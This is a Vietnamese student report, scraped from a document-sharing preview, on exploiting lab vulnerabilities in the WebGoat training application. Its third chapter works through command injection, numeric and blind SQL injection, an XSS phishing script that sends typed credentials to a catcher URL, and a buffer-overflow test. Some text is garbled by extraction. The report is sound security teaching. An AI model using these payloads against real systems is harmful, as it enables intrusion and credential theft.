Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 41 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
41
Dung lượng
1,75 MB
Nội dung
BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT Mà ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ KHAI THÁC LỖ HỔNG ỨNG DỤNG WEB VỚI WEBGOAT Mục lục Mục lục DANH MỤC CÁC KÍ HIỆU CÁC CHỮ VIẾT TẮT DANH MỤC CÁC BẢNG DANH MUC CÁC HÌNH VẼ CHƯƠNG II TỔNG QUAN VỀ WEBGOAT 2.2 Cấu trúc đặc điểm WebGoat 2.3 So sánh WebGoat với ứng dụng thực hành khai thác lỗ hổng ứng dụng web khác (DVWA) 11 2.4 Khai thác lỗ hổng ứng dụng web Webgoat 12 2.4.1 Lỗ hổng Injection 13 2.4.1.1 Lỗ hổng Command Injection 13 2.4.1.2 SQL Injection 13 2.4.2 Lỗ hổng Cross-Site Scripting 15 2.4.2.1 Phishing với XSS 15 2.4.2.2 Stored XSS Attacks 16 2.4.2.3 Cross Site Request Forgery 17 2.4.2.4 Reflected XSS 18 2.4.3 Lỗ hổng Access Control 19 2.4.3.1 Bypass a Path Based Access Control Scheme 19 2.4.3.2 Using an Access Control Matrix 20 2.4.4 Lỗ hổng Authentication 20 2.4.4.1 Password Strength 20 2.4.5 Lỗ hổng Buffer Overflows 21 2.4.6 Lỗ hổng Denial of Service 22 2.4.7 Lỗ hổng Code Quality 23 2.4.8 Lỗ hổng AJAX 24 2.4.8.1 DOM Injection 24 2.4.8.2 Client Side Filtering 24 2.4.8.3 XML Injection 25 2.4.8.4 JSON Injection 25 2.4.9 Lỗ hổng Improper Error Handling 26 2.4.10 Lỗ hổng Insecure Communication 27 2.4.11 Lỗ hổng Malicious Execution 27 2.4.12 Lỗ hổng Parameter Tampering 28 2.4.12.1 Exploit Hidden Fields 28 2.4.12.2 Exploit Unchecked Email 28 2.4.13 Lỗ hổng Session Management 29 Hijack a Session 29 2.4.14 Lỗ hổng Web Services 29 2.4.14.1 Create a SOAP Request 29 2.4.14.2 WSDL Scanning 30 CHƯƠNG III THỰC NGHIỆM KHAI THÁC LỖ HỔNG VỚI ỨNG DỤNG WEBGOAT 31 3.1 Cài đặt WebGoat 31 3.2 Thực nghiệm khai thác lỗ hổng ứng dụng web với WebGoat 31 3.2.1 Command Injection 31 3.2.2 Numeric SQL Injection 33 3.2.3 Blind String SQL Injection 34 3.2.4 Phishing with XSS 37 3.2.5 Buffer Overflows 39 DANH MỤC CÁC KÍ HIỆU CÁC CHỮ VIẾT TẮT Cụm Từ đầy đủ Kí hiệu AJAX CSS/XSS Asynchronous JavaScript and XML CSS/XSS Cross Site Scripting DOS Denial of service HTTP HyperText Transfer Protocol OWASP IMAP Open source Web Application Security Project Internet Message Access Protocol JSP JavaServer Pages JDK Java Development Kit SMTP Simple Mail Transfer Protocol SQ.L Structured Query Language URL Uniform Resource Locator XML Xtensible Markup Language DANH MỤC CÁC BẢNG Bảng 1 Các rủi ro theo tiêu chuẩn OWASP Error! Bookmark not defined Bảng Danh sách học có WebGoat Bảng 2 Chức lớp LessonAdapte Error! Bookmark not defined Bảng 2.3 So sánh WebGoat với DVWA 12 DANH MUC CÁC HÌNH VẼ Hình 1.1 Mơ hình tầng ứng dụng web Error! Bookmark not defined Hình 1.2 Mơ hình dịch vụ ứng dụng web đơn giản Error! Bookmark not defined Hình 1.3 Mơ tả hoạt động ứng dụng web Error! Bookmark not defined Hình 1.4 Mơ hình hoạt động ứng dụng web Error! Bookmark not defined Hình 2.2 Show Cookies / Parameters WebGoat v4 11 Hình 2.3 Show Cookies / Parameters WebGoat 11 Hình 2.4 Command Injection 13 Hình 2.5 Blind NumericSQL Injection 14 Hình 2.6 Numeric SQL Injection 15 Hình 2.7 Phishing với XSS 16 Hình 2.8 Mơ tả Stored XSS 16 Hình 2.9 Stored XSS 17 Hình 2.10 Cross Site Request Forgery 18 Hình 2.11 Mô tả Reflected XSS 18 Hình 2.12 Reflected XSS 19 Hình 2.13 Bypass a Path Based Access Control Scheme 20 Hình 2.14 Password Strength 21 Hình 15 Forgot Password 21 Hình 2.16 Buffer Overflows 22 Hình 2.17 Denial of Service from Multiple Logins 23 Hình 2.18 Code Quality 23 Hình 2.19 DOM Injection 24 Hình 2.20 Client Side Filtering 25 Hình 2.21 XML Injection 25 Hình 2.22 JSON Injection 26 Hình 2.23 Fail Open Authentication Scheme 27 Hình 2.24 Insecure Communication 27 Hình 2.25 Malicious Execution 28 Hình 2.26 Exploit Hidden Fields 28 Hình 2.27 Exploit Unchecked Email 29 Hình 2.28 Hijack a Session 29 Hình 2.29 Create a SOAP Request 30 Hình 2.30 WSDL Scanning 30 Hình 3.1 Truy vấn bình thường chưa công Command Injection 31 Hình 3.2 Tamper bắt gói tin 32 Hình 3 chuyển chuỗi sang URI 32 Hình 3.4 Kết sau khai thác Command Injection 33 Hình Numeric SQL Injection 33 Hình Kết xem thời tiết Colombia 34 Hình 3.7 Kết Numbueric SQL Injection 34 Hình 3.8 Blind StringSQL Injection 35 Hình 3.9 Blind Numberic SQL Injection kết thử với chữ H 36 Hình 10 Kiểm tra chữ có nhỏ chữ “N” không 36 Hình 11 Thử chữ đứng thứ từ cần tìm có nhỏ chữ “h” khơng 37 Hình 12 Kết chèn thử với đoạn alert(1) 37 Hình 3.13 Giao diện đăng nhập giả mạo 39 Hình 3.14 Kết phishing with XSS 39 Hình 15 Nhập giá trị khai thác lỗ hổng Buffer Overflow 40 Hình 16 Buffer Overflow thử với 1025 kí tự 40 Hình 17 Kết tràn nhớ đệm thử với 4097 kí tự 41 CHƯƠNG II TỔNG QUAN VỀ WEBGOAT 2.2 Cấu trúc đặc điểm WebGoat Trong WebGoat có học liên quan đến vấn đề sau: Access Control Flaws -Site Scripting (XSS) Communication Web Services Các vấn đề tích hợp dạng phần học Mỗi lỗ hổng có phần tương ứng kèm người dùng thực hành Người dùng phải hoàn thành tất phần tương ứng để hiểu hết lỗ hổng Mỗi phần dạng nhỏ lỗ hổng ứng dụng web Ví dụ lỗ hổng Injection có phần gồm Command line, Numberic SQL Injection, Lab Injection, String Blind SQL Bảng Danh sách học có WebGoat Các lỗ hổng Các học Phần chung Khái niệm HTTP HTTP Splitting Cache Poisining Khai thác vấn đề an toàn luồng liệu Cách để thêm học WebGoat Code Quality Cách khám phá đầu mối HTML Các thông số định giá Làm để khai thác trường ẩn Cách khai thác Email không bảo vệ Làm bỏ qua xác nhận Javascript bên máy khách Phá vỡ điều khiển truy cập Sử dụng ma trận kiểm soát truy cập Làm để bỏ qua chương trình kiểm sốt truy cập dựa đường dẫn Cách để thực trang web giả mạo Request (CSRF) LAB: Vai trò dựa Access Control Truy cập quản trị từ xa Phá vỡ xác thực Quên mật Cách để giả mạo Cookie Xác thực Cách công vào phiên làm việc hợp lệ máy Xác thực Cross Site Scripting (Xss) LAB: Cross Site Scripting Cách để thực Stored Cross HTTPOnly Test Cách để thực công Cross Site Tracing (XST) Buffer Overflows Tràn đệm Injection Flaws Cách để thực lệnh tiêm Cách để thực Blind SQL Injection Cách để thực Numeric SQL Injection Cách để thực Log Spoofing XPATH Injection Làm để thực tiêm chuỗi SQL Injection LAB: SQL Injection Làm để sử dụng Backdoor Cơ sở liệu Xử lý lỗi không cách How to Bypass a Fail Open Authentication Scheme Lưu trữ không an toàn Khái niệm Encoding Từ chối dịch vụ Denial of Service From Multiple Logins Quản lý cấu hình khơng an tồn Cách để tạo u cầu SOA Dịch vụ Web Quét WSDL Web Service SAX Injection Tấn công SQL dịch vụ web AJAX Security DOM Injection XML Injection Tấn công giao dịch im lặng Mỗi giai đoạn học WebGoat, điều quan trọng phải hiểu hoạt động mục tiêu Điều thường bao gồm: Kiểm tra nội dung phía client, chẳng hạn HTML script Phân tích thơng tin liên lạc máy khách máy chủ Rà soát tập tin cookie liệu khác Các trình duyệt thường cung cấp tính cho xem mã nguồn HTML WebGoat mở rộng có hoạt động để hiển thị Params, Show HTML, Show Cookies Show Java Trong trường hợp bình thường trình duyệt cung cấp tính để xem mã nguồn HTML Đối với Microsoft Internet Explorer "Source" menu View Đối với Firefox "Page Source" menu Các tính hiển thị HTML WebGoat hiển thị HTML có liên quan cho học hành 10 Hình 2.22 Fail Open Authentication Scheme 2.4.10 Lỗ hổng Insecure Communication Đăng nhập với mật không mã hóa (plain text), Submit lên server người cơng sử bắt gói tin biết password Hình 2.23 Insecure Communication 2.4.11 Lỗ hổng Malicious Execution Lỗi thực thi mã độc, thông thường webserver cho upload tập tin lên ví dụ hình ảnh để hiển thị, trường hợp tập tin upload lên thực thi nguy hiểm Trong phần cho upload file ảnh lên hệ thống mà khơng có kiểm tra ảnh Kẻ cơng upload file thực thi lên hệ thống 27 Hình 2.24 Malicious Execution 2.4.12 Lỗ hổng Parameter Tampering 2.4.12.1 Exploit Hidden Fields Hidden fields thường dùng để lưu trữ liệu tạm thời mà người dùng bình thường không thấy được, Hidden fields không kiểm tra lại lúc thực thi server nên bị thay đổi, lúc logic khơng cịn Hình 2.25 Exploit Hidden Fields 2.4.12.2 Exploit Unchecked Email Lỗ hổng Exploit Unchecked Email gửi mail, nội dung mail khơng kiểm tra nên kẻ cơng chèn đoạn mã xấu vào Khi người nhận mail mở lên đoạn mã thực thi 28 Hình 2.26 Exploit Unchecked Email 2.4.13 Lỗ hổng Session Management Hijack a Session Hijack a Session loạt cơng khác nhau, cơng có liên quan đến khai thác session thiết bị coi chiếm quyền điều khiển session Các nhà phát triển ứng dụng phát triển thường quên kết hợp phức tạp tính ngẫu nhiên cần thiết cho biến session Session phải sinh ngẫu nhiên phiên Nếu biến session người dùng cụ thể không phức tạp ngẫu nhiên, ứng dụng nhạy cảm với cơng bạo lực dựa phiên Hình 2.27 Hijack a Session 2.4.14 Lỗ hổng Web Services 2.4.14.1 Create a SOAP Request SOAP giao thức W3C định nghĩa SOAP áp dụng XML để xác định liệu dạng văn (plain text) thông qua HTTP SMTP Web Service 29 dùng SOAP trình truyền tải liệu SOAP không phụ thuộc ngôn ngữ lập trình hay tảng dùng XML Các dịch vụ web truyền đạt thông qua việc sử dụng yêu cầu SOAP Các yêu cầu gửi đến dịch vụ web nhằm thực chức định nghĩa ngôn ngữ định nghĩa dịch vụ web (WSDL) Hình 2.28 Create a SOAP Request 2.4.14.2 WSDL Scanning Các dịch vụ Web giao tiếp thông qua việc sử dụng yêu cầu SOAP Các yêu cầu gửi đến dịch vụ web nhằm thực chức định nghĩa tệp tin ngôn ngữ định nghĩa dịch vụ web (WSDL) Yêu cầu lấy số số tín dụng khách hàng thông qua việc kiểm tra tệp WSDL cho dịch vụ web Hình 2.29 WSDL Scanning 30 CHƯƠNG III THỰC NGHIỆM KHAI THÁC LỖ HỔNG VỚI ỨNG DỤNG WEBGOAT 3.1 Cài đặt WebGoat Bước 1: Cài đặt JDK Tải JDK [6] Bước 2: Cài đặt WebGoat Tải WebGoat [7] Sau vào trình duyệt gõ địa http://localhost:8080/WebGoat đăng nhập tài khoản để bắt đầu thực nghiệm khai thác lỗ hổng ứng dụng web với WebGoat 3.2 Thực nghiệm khai thác lỗ hổng ứng dụng web với WebGoat 3.2.1 Command Injection Máy chủ web cho phép đọc số file có sẵn hệ thống thơng qua lệnh cmd máy chủ web Các file đọc hiển thị dạng checkbox C:\Users\Administrator\Downloads\.extract\webapps\WebGoat\plugin_extr acted\plugin\CommandInjection\resources\AccessControlMatrix.html Máy chủ web trả nội dung file AccessControlMatrix.html Hình 3.1 Truy vấn bình thường chưa cơng Command Injection Muốn chèn mã lỗi lên server cần chặn bắt gói tin đường truyền chỉnh sửa gói tin trước gửi tới server Bước1: Mở Tamper lên để bắt gói tin Trên cơng cụ trình duyệt firefox chọn Tools -> Tamper ->Data -> StartTamper 31 Hình 3.2 Tamper bắt gói tin Sau bắt gói tin biết nhiều thông tin địa ip, cổng dịch vụ web, phiên trình duyệt, cookie vài thơng tin khác Trong có phần HelpFlie, phần HelpFile tên file hệ thống đọc từ input chọn Bước 2: Chuyển đổi chuỗi Ping google.com sang chuỗi dạng URI nhập phương thức chuyền ViewPOST hỗ trợ chuỗi dạng URI Hình 3 chuyển chuỗi sang URI Để chuyển chuỗi sang URI vào trang: http://yehg.net/encoding/ Gõ: " & ping google.com Sau ta chọn encodeURIComponent để đổi chuỗi thành: %22%20%26%20ping%20google.com Bước 3: Sau bắt gói tin ta tiến hành sửa đoạn HelpFile đoạn: %22%20%26%20ping%20google.com Rồi forward gói tin Đây câu truy vấn sau thay đổi tham số: 'cmd.exe/ctype"E:\Phanmem\webgoat\.extract\webapps\WebGoat\plugin_e xtracted\plugin\CommandInjection\resources\" & ping google.com"' Kết trả hình Mã lỗi thực server 32 ping đến google.com thành công Hình 3.4 Kết sau khai thác Command Injection 3.2.2 Numeric SQL Injection Hệ thống cho phép xem thời tiết địa điểm định Danh sách địa điểm hiển thị dạng checkbox Hình Numeric SQL Injection Khai thác lỗ hổng này, tìm tất ghi thời tiết tất địa điểm cách sửa đổi câu truy vấn hợp lệ làm cho câu truy vấn ban đầu bị sai lệch Từ lấy tất ghi tất địa điểm Các bước thực hiện: Bước 1: Đây câu lệnh truy vấn xem thời tiết Colombia: SELECT * FROM weather_data WHERE station = 101 Trong 101 giá tri station Columbia 33 Hình Kết xem thời tiết Colombia Bước 2: Để lấy hết thơng tin tất ghi thêm đoạn or 1=1 vào sau câu truy vấn Từ câu truy vấn trở thành: SELECT * FROM weather_data WHERE station = 101 or 1=1 Trong câu truy vấn gồm hai phần: Phần trước WHERE phần câu truy vấn Phần sau WHERE điều kiện kèm theo phần trước 1=1 đúng, nên điều kiện WHERE station = 101 or 1=1 có vế sau ln Từ câu truy vấn “SELECT * FROM weather_data WHERE station = 101 or 1=1” Vì in tất ghi Hình 3.7 Kết Numbueric SQL Injection 3.2.3 Blind String SQL Injection Hệ thống cho phép kiểm tra tồn tài khoản thông số tài khoản input nhập vào qua trường Enter your Account Number 34 Hình 3.8 Blind StringSQL Injection Các bước thực hiện: Bước 1: Câu truy vấn: SELECT * FROM user_data WHERE userid=accountNumber; với accountNumber số mà người dùng nhập vào Thử với 101=> Account number is valid Thử tiếp với 1000 => Invalid account number Blind SQL Injection kiểu công SQL Injection hỏi câu hỏi sở liệu sai xác định câu trả lời dựa phản ứng ứng dụng Ở coi Account number is valid giá trị đúng, Invalid account number giá trị sai Nhập đoạn mã sau: 101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' ) Từ câu truy vấn gửi đến server có dạng: SELECT * FROM user_data WHERE userid=101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' ) Với toán tử AND, điều kiện userid =101 ln Vì tính sai câu truy vấn phụ thuộc vào phần (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' ) Sử dụng hàm SUBSTRING() đùng để cắt chuỗi Hàm SUBSTRING (string, start, length ) Trong đó: String: chuỗi cần cắt 35 Start: vị trí bắt đầu cắt chuỗi Start số ngun, âm.Nếu start âm cắt từ cuối chuỗi cắt ngược lại Length: độ dài chuỗi cần cắt tính từ vị trí bắt đầu SELECT name FROM pins WHERE cc_number = '4321432143214321' chọn ghi cột name từ bảng pins với điều kiện cc_number = '4321432143214 (SUBSTRING((SELECT name FROM pins WHERE cc_number = '4321432143214321'), 1, 1) < 'H' ) hiểu cắt chuỗi lấy từ cột name bảng pins với điều kiện cc_number = 4321432143214 Cắt từ đầu chuỗi lấy kí tự ( lấy kí tự chuỗi) so sánh xem có nhỏ chữ ‘H’ bảng chữ khơng Hình 3.9 Blind Numberic SQL Injection kết thử với chữ H Kết trả Kết trả Invalid account number Kết trả sai Từ chữ từ cần tìm chữ đứng sau chữ “H” bảng chữ Tiếp tục thử tiếp câu truy vấn: SELECT * (SUBSTRING((SELECT FROM user_data name WHERE FROM userid=101 pins cc_number='4321432143214321'), 1, 1) < 'N' ); Kiểm tra chữ từ cần tìm có nhỏ chữ “N” khơng Hình 10 Kiểm tra chữ có nhỏ chữ “N” khơng 36 AND WHERE Kết trả Từ chữ từ cần tìm chữ khoảng từ chữ “H” đến chữ “N” bảng chữ Sau vài lần thử kết chữ từ cần tìm chữ “J” Tiếp tục thử chữ đứng thứ từ cần tìm có nhỏ chữ “h” không SELECT * FROM (SUBSTRING((SELECT user_data name WHERE FROM userid=101 pins AND WHERE cc_number='4321432143214321'), 2, 1) < 'h' ); Hình 11 Thử chữ đứng thứ từ cần tìm có nhỏ chữ “h” không Kết trả sai Sau vài lần thử tìm từ cần tìm là: Jill 3.2.4 Phishing with XSS Các bước thực hiện: Bước 1: Hệ thống cung cấp form tìm kiếm Kiểm tra xem server có bị lỗi XSS hay khơng tìm kiếm nhập thử đoạn bất kì: alert(1) Hệ thống trả vể popup giá trị ‘1’ vừa truyền vào từ tìm kiếm Hình 12 Kết chèn thử với đoạn alert(1) Như kết luận hệ thống bị lỗi XSS 37 Bước 2: Thay truyền đoạn mã lỗi đơn giản ta nhập vào đoạn mã phức tạp để lấy cắp thông tin, cụ thể sau: Nhập đoạn mã sau: function hack(){ XSSImage=new Image; XSSImage.src = "http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack Your credentials were just stolen User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} account login:Enter Username:Enter Password: Đoạn mã có chức tạo form đăng nhập giả mạo Khi kích hoạt tồn thơng tin đăng nhâp gồm uername, password hiển thị Trong đoạn mã: account login:Enter Username:Enter Password: Là để tạo from đăng nhập có trường nhập Username Password nút submit login 38 Hình 3.13 Giao diện đăng nhập giả mạo Đoạn mã: function hack(){ XSSImage=new Image; XSSImage.src = "http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack Your credentials were just stolen User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} Dùng để xử lí chuỗi kí tự nhập vào từ from login vừa tạo Khi người dùng nhập vào hàm hack() bắt ký tự xử lý đưa thông báo tên tài khoản, mật hiển thị cookie người dùng Hình 3.14 Kết phishing with XSS 3.2.5 Buffer Overflows Hệ thống cho hiển thị trường nhập liệu là: first nam, lastname, room number Nhập giá trị tùy ý Ví dụ, first nam = thai, lastname = le, room number =1 39 Hình 15 Nhập giá trị khai thác lỗ hổng Buffer Overflow Các giá trị nhập vào truyền dạng ẩn Dùng Firebug thị mã nguồn lên tìm tham số ẩn vừa nhập Dùng Firebug để thấy trường ẩn giá trị vừa điền Thơng thường trường thường có giá trị giới hạn 1024 kí tự, 2048 kí tự, 4096 kí tự Vì để kiểm tra lỗi tràn đệm nhập số kí tự vượt q giá trị giới hạn trường Để kiểm tra xem có lỗi tràn đệm khơng thường thử với giá trị 1025, 2049, 4097 kí tự ứng với giá trị giới hạn trường vào trường Hình thử với 1025 kí tự Hình 16 Buffer Overflow thử với 1025 kí tự 40 Kết hệ thống hoạt động bình thường khơng có lỗi tràn nhớ đệm Tiếp theo thử với 4097 kí tự Kết xuất lỗi tràn đệm Hình 17 Kết tràn nhớ đệm thử với 4097 kí tự Với 4097 kí tự làm cho hệ thống xuất lỗi tràn đệm Từ hệ thống để lộ thơng tin khách VIP Kết quả: First name: Johnathan Lastname: Ravern Room number: 4321 41 ... http://localhost:8080 /WebGoat đăng nhập tài khoản để bắt đầu thực nghiệm khai thác lỗ hổng ứng dụng web với WebGoat 3.2 Thực nghiệm khai thác lỗ hổng ứng dụng web với WebGoat 3.2.1 Command Injection Máy chủ web. .. cho dịch vụ web Hình 2.29 WSDL Scanning 30 CHƯƠNG III THỰC NGHIỆM KHAI THÁC LỖ HỔNG VỚI ỨNG DỤNG WEBGOAT 3.1 Cài đặt WebGoat Bước 1: Cài đặt JDK Tải JDK [6] Bước 2: Cài đặt WebGoat Tải WebGoat [7]... TỔNG QUAN VỀ WEBGOAT 2.2 Cấu trúc đặc điểm WebGoat 2.3 So sánh WebGoat với ứng dụng thực hành khai thác lỗ hổng ứng dụng web khác (DVWA) 11 2.4 Khai thác lỗ